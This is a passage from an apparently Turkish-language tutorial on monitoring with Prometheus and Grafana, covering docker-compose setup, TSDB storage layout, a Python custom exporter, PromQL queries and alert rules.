      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="s"&gt;--config.file=/etc/prometheus/prometheus.yml'&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="s"&gt;--storage.tsdb.path=/prometheus'&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="s"&gt;--storage.tsdb.retention.time=15d'&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="s"&gt;--web.enable-lifecycle'&lt;/span&gt;

  &lt;span class="na"&gt;grafana&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;image&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;grafana/grafana:latest&lt;/span&gt;
    &lt;span class="na"&gt;ports&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;3000:3000"&lt;/span&gt;
    &lt;span class="na"&gt;volumes&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s"&gt;./grafana/provisioning:/etc/grafana/provisioning&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s"&gt;grafana_data:/var/lib/grafana&lt;/span&gt;
    &lt;span class="na"&gt;environment&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s"&gt;GF_SECURITY_ADMIN_PASSWORD=admin&lt;/span&gt;

  &lt;span class="na"&gt;custom-exporter&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;build&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;./custom-exporter&lt;/span&gt;
    &lt;span class="na"&gt;ports&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;8000:8000"&lt;/span&gt;

&lt;span class="na"&gt;volumes&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;prometheus_data&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;grafana_data&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  TSDB Dosya Yapısı
&lt;/h2&gt;

&lt;p&gt;Prometheus başladıktan sonra:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;docker &lt;span class="nb"&gt;exec&lt;/span&gt; &lt;span class="nt"&gt;-it&lt;/span&gt; prometheus sh
&lt;span class="nb"&gt;ls&lt;/span&gt; /prometheus
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;chunks_head/
wal/
01XXXXXXXXXXXXXXXXXXXXXX/   ← 2 saatlik block
01YYYYYYYYYYYYYYYYYYYYYY/
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;WAL (Write Ahead Log):&lt;/strong&gt; Her scrape önce WAL'a yazılır. Sistem çökerse buradan kurtarılır. Son 2 saatlik veri memory'de, WAL'da yedekleniyor.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Block yapısı:&lt;/strong&gt; Her block 2 saatlik veri. Zamanla compaction ile birleşiyor — 2 saat → 6 saat → 24 saat → 2 hafta. Eski block'lar retention süresine göre siliniyor.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;cat&lt;/span&gt; /prometheus/01XXXX.../meta.json
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"minTime"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1700000000000&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"maxTime"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1700007200000&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"stats"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"numSamples"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;15420&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"numSeries"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;312&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"compactionLevel"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;minTime&lt;/code&gt; ve &lt;code&gt;maxTime&lt;/code&gt; bu block'un kapsadığı zaman aralığı. Range query geldiğinde Prometheus sadece ilgili block'lara bakıyor — tüm veriyi taramıyor.&lt;/p&gt;




&lt;h2&gt;
  
  
  Custom Exporter
&lt;/h2&gt;

&lt;p&gt;Prometheus kendi metric'lerini toplamak için exporter kullanıyor. Node Exporter sistem metriklerini, kube-state-metrics Kubernetes metriklerini topluyor. Kendi uygulamanın metriklerini toplamak için custom exporter yazıyorsun.&lt;/p&gt;

&lt;p&gt;Üç metric türü var:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Counter&lt;/strong&gt; — sadece artar, sıfırlanmaz. Toplam istek sayısı, toplam hata sayısı.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Gauge&lt;/strong&gt; — artıp azalabilir. Anlık CPU kullanımı, aktif connection sayısı.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Histogram&lt;/strong&gt; — değerlerin dağılımı. Request latency, response boyutu.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;prometheus_client&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;start_http_server&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;Counter&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;Gauge&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;Histogram&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;time&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;random&lt;/span&gt;

&lt;span class="n"&gt;REQUEST_COUNT&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;Counter&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;app_requests_total&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;Toplam istek sayisi&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;method&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;endpoint&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;status&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="n"&gt;ACTIVE_USERS&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;Gauge&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;app_active_users&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;Anlik aktif kullanici sayisi&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;
&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="n"&gt;REQUEST_DURATION&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;Histogram&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;app_request_duration_seconds&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;Istek suresi dagilimi&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;endpoint&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
    &lt;span class="n"&gt;buckets&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mf"&gt;0.01&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mf"&gt;0.05&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mf"&gt;0.1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mf"&gt;0.25&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mf"&gt;0.5&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mf"&gt;1.0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mf"&gt;2.5&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;simulate_traffic&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
    &lt;span class="n"&gt;endpoints&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;/api/users&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;/api/orders&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;/api/products&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;/health&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;

    &lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="bp"&gt;True&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;endpoint&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;random&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;choice&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;endpoints&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="n"&gt;status&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;random&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;choice&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;200&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;200&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;200&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;404&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;500&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
        &lt;span class="n"&gt;duration&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;random&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;uniform&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mf"&gt;0.01&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mf"&gt;0.3&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

        &lt;span class="n"&gt;REQUEST_COUNT&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;labels&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
            &lt;span class="n"&gt;method&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;GET&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
            &lt;span class="n"&gt;endpoint&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;endpoint&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
            &lt;span class="n"&gt;status&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;status&lt;/span&gt;
        &lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;inc&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

        &lt;span class="n"&gt;REQUEST_DURATION&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;labels&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;endpoint&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;endpoint&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;observe&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;duration&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="n"&gt;ACTIVE_USERS&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;set&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;random&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;randint&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;150&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
        &lt;span class="n"&gt;time&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;sleep&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mf"&gt;0.5&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;__name__&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;__main__&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="nf"&gt;start_http_server&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;8000&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="nf"&gt;simulate_traffic&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;http://localhost:8000/metrics&lt;/code&gt; adresinde şunu görürsün:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight prometheus"&gt;&lt;code&gt;&lt;span class="c"&gt;# TYPE app_requests_total counter&lt;/span&gt;
&lt;span class="n"&gt;app_requests_total&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="na"&gt;endpoint&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"/api/users"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="na"&gt;method&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"GET"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="na"&gt;status&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"200"&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="mf"&gt;142.0&lt;/span&gt;

&lt;span class="c"&gt;# TYPE app_active_users gauge&lt;/span&gt;
&lt;span class="n"&gt;app_active_users&lt;/span&gt; &lt;span class="mf"&gt;87.0&lt;/span&gt;

&lt;span class="c"&gt;# TYPE app_request_duration_seconds histogram&lt;/span&gt;
&lt;span class="n"&gt;app_request_duration_seconds_bucket&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="na"&gt;endpoint&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"/api/users"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="na"&gt;le&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"0.1"&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="mf"&gt;89.0&lt;/span&gt;
&lt;span class="n"&gt;app_request_duration_seconds_bucket&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="na"&gt;endpoint&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"/api/users"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="na"&gt;le&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"0.25"&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="mf"&gt;134.0&lt;/span&gt;
&lt;span class="n"&gt;app_request_duration_seconds_sum&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="na"&gt;endpoint&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"/api/users"&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="mf"&gt;18.4&lt;/span&gt;
&lt;span class="n"&gt;app_request_duration_seconds_count&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="na"&gt;endpoint&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"/api/users"&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="mf"&gt;142.0&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  PromQL
&lt;/h2&gt;

&lt;p&gt;PromQL'i öğrenirken en önemli şey şunu anlamak: Counter'lar sürekli artar — "toplam 142 request" tek başına işe yaramaz. &lt;code&gt;rate&lt;/code&gt; ile "saniyede kaç request" hesaplanır.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Temel sorgular:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;# Saniyedeki istek hızı
rate(app_requests_total[5m])

# Endpoint bazında grupla
sum by (endpoint) (rate(app_requests_total[1m]))

# Hata oranı
sum(rate(app_requests_total{status="500"}[2m]))
/
sum(rate(app_requests_total[2m]))
* 100
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;p95 latency — production'da en çok kullandığım sorgu:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;histogram_quantile(0.95,
  sum by (endpoint, le) (
    rate(app_request_duration_seconds_bucket[2m])
  )
)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;le&lt;/code&gt; label'ı histogram bucket'larının üst sınırı — &lt;code&gt;histogram_quantile&lt;/code&gt; için zorunlu. &lt;code&gt;0.95&lt;/code&gt; → isteklerin %95'i bu sürede tamamlanıyor.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Disk dolma tahmini:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;predict_linear(prometheus_tsdb_storage_blocks_bytes[1h], 3600)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Mevcut trende göre 1 saat sonraki değeri tahmin ediyor. Disk dolma alertlerinde kullanılıyor.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Metric kaybolursa:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;absent(up{job="custom-exporter"})
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Uygulama çöktüğünde metric gelmez — &lt;code&gt;absent&lt;/code&gt; bunu yakalar.&lt;/p&gt;




&lt;h2&gt;
  
  
  Alert Kuralları
&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;prometheus/rules.yml&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;groups&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;app.rules&lt;/span&gt;
    &lt;span class="na"&gt;rules&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;

      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;alert&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;HighErrorRate&lt;/span&gt;
        &lt;span class="na"&gt;expr&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="pi"&gt;|&lt;/span&gt;
          &lt;span class="s"&gt;sum(rate(app_requests_total{status="500"}[2m]))&lt;/span&gt;
          &lt;span class="s"&gt;/&lt;/span&gt;
          &lt;span class="s"&gt;sum(rate(app_requests_total[2m]))&lt;/span&gt;
          &lt;span class="s"&gt;&amp;gt; 0.10&lt;/span&gt;
        &lt;span class="na"&gt;for&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;1m&lt;/span&gt;
        &lt;span class="na"&gt;labels&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
          &lt;span class="na"&gt;severity&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;critical&lt;/span&gt;
        &lt;span class="na"&gt;annotations&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
          &lt;span class="na"&gt;summary&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Hata&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;orani&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;yuksek"&lt;/span&gt;
          &lt;span class="na"&gt;description&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Hata&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;orani&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;%{{&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;$value&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;|&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;humanizePercentage&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;}}&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;ulastu"&lt;/span&gt;

      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;alert&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;HighLatency&lt;/span&gt;
        &lt;span class="na"&gt;expr&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="pi"&gt;|&lt;/span&gt;
          &lt;span class="s"&gt;histogram_quantile(0.95,&lt;/span&gt;
            &lt;span class="s"&gt;sum by (endpoint, le) (&lt;/span&gt;
              &lt;span class="s"&gt;rate(app_request_duration_seconds_bucket[2m])&lt;/span&gt;
            &lt;span class="s"&gt;)&lt;/span&gt;
          &lt;span class="s"&gt;) &amp;gt; 0.5&lt;/span&gt;
        &lt;span class="na"&gt;for&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;1m&lt;/span&gt;
        &lt;span class="na"&gt;labels&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
          &lt;span class="na"&gt;severity&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;warning&lt;/span&gt;
        &lt;span class="na"&gt;annotations&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
